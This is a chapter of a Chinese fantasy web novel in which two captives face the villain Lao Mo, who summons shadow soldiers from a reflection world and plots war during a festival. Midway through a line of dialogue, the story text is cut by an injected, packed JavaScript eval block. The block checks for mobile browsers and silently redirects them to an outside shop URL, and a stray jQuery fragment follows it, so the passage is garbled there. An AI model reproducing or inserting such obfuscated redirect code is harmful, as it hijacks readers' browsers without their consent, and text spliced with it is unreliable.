言影风与月娜使者分别被五花大绑在房间两侧。
他早已打量过,这里应是暮影渡牙行某间会客房间,四四方方的格局,有一角落堆放了几块包装良好的茶皂,这算作本地的特色,纯手工制成,数量不多,便显得珍贵。
房中正中最显眼的是一张木质茶桌,空气中还隐约嗅到松炭燃烧过后的淡淡余味,看来主人爱喝煮茶,这在暮影渡并不多见。
“喂,你想想办法啊,咱们就这么被绑着?你的计划呢?”月娜使者一直在尝试着挣脱捆绑,但她对面的言影风却始终闭目养神,一点也不紧张。
这令使者有些恼怒,不明白这个大晏人心中在想些什么。
“别费力气了,他不会拿你怎么样的。”言影风总算是睁开眼,冷静道。
“但是再过几个时辰,便是朔睦节,我若缺席禅院焚香会,通商一事势必受影响!”月娜使者急躁道,“你一开始的计划,总不能是被抓进来坐以待毙吧!”
言影风望了下窗外天色,方才打更人已经敲过梆子,他缓缓道:“不急,现在刚过寅时,我们还有时间。”
“光等啊!?”
月娜使者话音刚落,牙人老莫推门而入,在他身后紧跟着钱来欢。
“月娜,你性子急躁得很,还未进屋便听见你的抱怨。”老莫笑着说道,露出金牙。
月娜气鼓鼓地将头转向另一侧,不看老莫。
“在胡杨林,我已让你见识了未来世界蓝图一角,怎么样,你考虑一下,要不要加入我的大计?”老莫也并未被月娜的反应刺激,倒是越靠越近,低声对她邀请。
月娜浑身震颤,想起了之前在胡杨林的那一幕,原本还又急又恼的神色硬生生僵住。
*
几个时辰前。
暮影渡城郊胡杨林内,月娜使者与言影风二人合力,已经把老莫逼退至浅滩小谭边,没想到老莫并没有想象中的援兵,一直独自接招。
“老莫!放弃吧!我可以念在旧情饶你不死!”月娜使者将刀横置,似要做出最后一击。
言影风略感意外,觉得这老莫未免太容易击破了一点,他心底一直感觉疑惑,总觉得这个老贼留有后手,可一时间却看不出哪里有破绽。
老莫在浅滩边微微佝偻着身姿,手背抹掉嘴角的血渍,忽然露出诡异的笑容。
金牙上浸染了鲜血,看上去格外瘆人。
“月娜,这句话应该换我来说才对。引你们至这里,就想让你看看,新世界将会多么美好……”
他立在浅滩岸畔,小洼上泛着灰白冷光,手里似是执起一小块东西,嘴里还念念有词,不知道做了些什么,那本来静止的水面,霎时间螺旋状搅动起来,一圈又一圈,愈发汹涌。
月娜与言影风二人对视一眼,两人都呈警备状态。
直至那汪小谭里的水,激荡起水花,不断地与周围的枯裂大地碰撞,甚至溢了出来。
“小心!”
忽而一阵寒光乍现,言影风惊呼一声想要将月娜使者推开,但避之不及,根本没有看清楚对方的形状,只觉得手上瞬间吃痛,言影风的暗器落地。
一具行尸走肉,被浓烈的黑气笼罩,不,它根本就是黑气本身。
是浅淡的灰黑色,如同人望向池水中的倒影,朦胧模糊但是寒气逼人。
它的瞳孔很深,像是落入深不见底的潭渊,没有一丝光亮,更没有一丁点神色。
周身萦绕着阴冷戾气,似有黑色的泥水不断下滴,与大地合为一体变作黑洞。
再定睛一看,大致能勾勒出一个人形,但它双臂僵直下垂,脖颈看上去无法转动,是一团凶煞伫立在原地。
“这是……鬼?”方才吃痛半跪的言影风大惊。
眼前的生物从未见过,如同鬼魅一般。
另一侧的月娜使者也吓得不轻,但很快凝神出刀一击,那刀刃却径直穿过了黑影鬼的身体。
它的头颅”咔——咔——”一息接一息地转向月娜的方向,对上她惊恐又不知所措的样子。
月娜顿时只觉全身上下发麻,嘴唇不自觉张开,不知该发出什么声音是好。
“哈哈哈哈!月娜!看见了吗!这就是新世界的力量!有了它们!什么通商、战争,毫无意义……跟我一起,创造未来吧!”老莫猖狂大笑,一步步走回月娜身边。
像是在炫耀自己的所有物一般,非常骄傲。
“你到底做了些什么……”月娜使者回过神来,收回惊讶,执刀又朝老莫攻去。
此时,言影风同时回身借助胡杨枯树的力量,腾空而起朝老莫发出其他暗器。
凌厉的刀锋与无数飞针同时向老莫袭击。
他负手而立,不疾不徐。
那只黑影鬼全无了刚才的呆板与迟缓,眨眼的功夫便挡在了老莫的身前,左右手同时击退了他们的攻击。
言影风因回击的琐碎飞针受了伤,而月娜也因剧烈的反击力而跪倒在地。
毫无破绽可攻,这根本不是人能抗衡的……
“不要再执迷不悟了,我们会有一个强大的新世界……”老莫一步步靠近月娜,拿出衣袖里的绳索,温柔却不容置疑地说,“还有,它不是鬼,它是来自倒影世界的影卒……”
这正是月娜二人被擒的真实过程。
影卒并没有离开胡杨林的浅滩,它又从水里离开了。
若非亲眼所见,这任谁说出去,都会被人误以为是脑子出了问题。
*
“你既然已有如此强大的影卒,为何还要在朔睦节为难使者,意图挑起两国战争?”言影风问出心中困惑。
一定还有什么信息是不知道的,否则这老莫为什么不直接一次性将那黑影鬼召集出来,索性利用这影子军团打天下。
老莫瞥了他一眼,起身从月娜身边转而走向言影风。
一直看上去漫不经心的钱来欢,听见“影卒”二字,眼眸闪过一丝惊讶。
“钦差大人,对吧?”老莫蹲在他的身旁,“如果你死了,我会不会省事很多?直接逼大晏皇帝出兵?”
“他就是一个视察救济院的小吏,哪有这么大的面子。”月娜使者立刻接过话去,她明显因老莫对言影风的态度而极度紧张。
“哈哈哈哈哈,对了,我想起来了,你连个小吏都算不上!”老莫嘲笑道,一旁的钱来欢神色紧张,心中咯噔一下,最担心的事情仍然没有避过去。
“说起来,这也得谢谢钱老板才是。你这个冒充钦差的家伙。”老莫居高临下地看着言影风,他已知道眼前这人,正是前些日子,帮钱来欢查过身份的冒牌货。
这话倒是令月娜使者一愣,她不明白究竟什么才是真的。
“既然是个假的,还是不要在他身上浪费时间了吧,我们还有正事。”钱来欢适时插话道,言影风看出了她是试图保他。
“没道理啊钱老板。”老莫露出困顿又疑惑的表情盯住钱来欢,两只眼睛像是凸起,看上去瘆人,“可是你告诉的我,在福田院里搞得动静,全是被这小子化解的,而后我故意将哈勒,也就是你们口中的花辫子尸体扔回去,本想要你们将钱老板逼上绝路,也是这个人仅凭借蛛丝马迹,立刻便知凶手真实身份……”
老莫一会儿看看钱来欢,一会看看言影风:“你不是应该恨死这小子了吗?”
老莫明显察觉到一丝异样,这人诡诈如狐狸,稍有蛛丝马迹便疑神疑鬼。
房间里的氛围瞬间僵了下来,气氛跌至冰点。
“不是吧,我刚都白刀子进去红刀子出了,你还怀疑我?”钱来欢靠近老莫,嬉皮笑脸地拍他肩膀,“况且这个小子没有价值,我难道说错了?”
言影风控制住自己惊诧与担忧的表情,他投以钱来欢的目光,没有得到任何回应。
苏望禾怎么了?
老莫听过钱来欢的话后,眼睛滴溜溜转了转,笑容瞬间回到了脸上:“你说得对。可他一个无名小卒,此前这么聪明,屡屡破坏咱们钱老板的计划,我倒是对他颇有兴趣。”
“你说,我到底为什么要在朔睦节绑走使者呢?”老莫玩味般看向言影风,脸上满是讥讽与挑衅,是胜利者对一条失败之狗的姿态。
“我不管你到底想做什么,不要再执迷不悟了!当年国主选择休战,所有人民换来平静的生活,难道不好吗?除了你那点可怜的自尊心受挫,天下和平便是最大的幸福!”没等言影风作答,月娜使者言辞激动地把话抢了过去,她要的只有两朝和平。
“看来你是不打算接受我的邀约了。那我留你也没用,作为新月国使者,你的死就是最大的意义。”老莫听后,面色不悦露出凶狠的目光,腰间匕首已经若隐若现,要出鞘见血。
“你可以杀我!但绝对不能在这个时候!我们都是经历过战争的人!我绝不能让百姓再次蒙受那种生灵涂炭的日子!”月娜直接迎上他的目光,高昂起头颅,不卑不亢,“你在暮影渡待了这么长时间,有多少无辜受难的流民、孤痞,时至今日仍然尝尽战争带来的创伤,你应该比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614505|205019||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我更清楚啊!”
“不!不是的!只要我能让新世界到来,才能真正让这个世界安稳!那些孤痞是弱者,就应该成为新世界的奠基石!新世界是只属于强者的!”老莫变得激动不已,似是被戳中痛处。
“一名武将,战斗本就是为了百姓,为了给他们换来更多的安稳。但不能再战斗不意味着你的失败。”言影风适时插话,“只不过能换得和平的方式有很多,不单单只有战斗。”
“你懂什么!?我受够了被当做工具一样!从前的我,即便是新月国最善战的将士又有什么意义!?还不是如同那架在弓上的箭矢罢了!握着弓箭的人才有权利决定方向!”老莫变得几近崩溃,面目也狰狞起来,“我们死了那么多弟兄!凭什么说不打就不打了!那死了的兄弟们算什么!?”
他抱着头陷入了巨大的痛苦。
看来,三年前的止息干戈给他带去了巨大的打击,成了永恒的阴影与执念。
“你们根本不懂……夜夜闭眼都是曾经共同奋战的兄弟,在你面前一遍又一遍问,到底为什么停战、到底为什么你们可以活下来……那些问题,你却一个都回答不上来……”老莫肩膀耸动,强烈的情绪起伏,“我才不是那个逃兵……你、哈勒还有我曾经最好的朋友——烈……你们,这些选择遗忘兄弟们的死亡,甘愿苟且现在生活的人……才是那个逃兵!”
老莫浑浊的眼球爬满红色细密的血丝,眼神骤然阴戾狠辣。
“月娜,你我战友一场,我本想留你一命。可惜,他不是真的钦差,所以,你必须得死。”
他是真的考虑过,杀来朝使者与杀大晏钦差的份量,若真是一样的结果,他更愿意杀大晏人,只可惜月娜的运气太差了。
这小子,是个冒牌货,死不足惜。
“慢着!”言影风突如其来洪亮的喝止,令老莫停下匕首。
钱来欢与月娜也不由自主地看向他。
“你刚才问我的问题,我现在答你。”言影风沉声道,“你在朔睦节绑走使者,一来是为了挑起边关战事,二来你不希望通商成功,除了干预使者来朝之外,更重要的是,你要古家背上会谈失败、刺杀使者的罪名,我说得可对?”
老莫手里的动作明显没了杀气,而是被巨大的惊讶笼罩,他的眼中闪着光,正对眼前的小子充满兴趣。
就连钱来欢都忍不住微微点头。
“说下去。”老莫把玩着手中匕首,又回到言影风跟前,这一次蹲身与他面对面,两道目光谁也不肯让谁。
“一开始,我想不通为什么一定要在城外见面。见到了那些影卒之后,算是解了一半的疑惑,但就为了在城郊浅滩将他们召唤出来吗?我想你不会这么傻。”言影风直言不讳,老莫微微颔首,目光精明起来。
“在城外,是因为古家就不会注意到你做的事情。”言影风继续推论,“你和钱来欢现在可以合作,说明之前要逼她离开暮影渡的是古家,而不是你,你只是个中间办事的。而你既然认得月光砂,却从来没有让古家知道,他们还需要去翻钱来欢的柜子才能查明真相,说明你一直对他们有所隐瞒,今日不扮作出城商队也是为了避开古家耳目。”
“我知道钱来欢图的是什么,所以你们的合作,正说明了你和她有着相同的目标。”言影风掷地有声,直接揭露老莫的真实想法。
“虽然我不明白你的动机究竟是什么,又为什么要一边帮古家做事一边防着他们,但至少现在,你肯定是希望钱来欢能帮你一起对付古家,而你这个人野心很大,既然要在朔睦节做,一定不会只是挡住古家做生意这么简单。”
言影风有很大的把握,自己的推测是对的,虽然没有十足的证据,也缺失细节,但敌对古家的大方向,一定没错。
“你真的,有点意思……怪不得,这么精明的钱老板,此前都会栽在你的手里……”老莫敛去所有的嬉笑,讳莫如深的眼神望着言影风,“可是,这只会勾起我的杀心,你这种人可不能活下去……”
“我刚刚忽然有个想法,既然你害怕使者死去,那不如还是你替她下黄泉吧,这个假钦差我帮你做真……”电光火石之间,老莫的刃口已经对准言影风脖颈,划出一道血痕。
“让你失望了,我也不能死。你是不是忘了,曾经查过我的名字……”言影风丝毫不惧,“我的名字是,言……影……风……”
“言……你姓言?”老莫大惊失色,“是那个言家?”
“是的,正是十七年前因通新月国被灭门的言家……”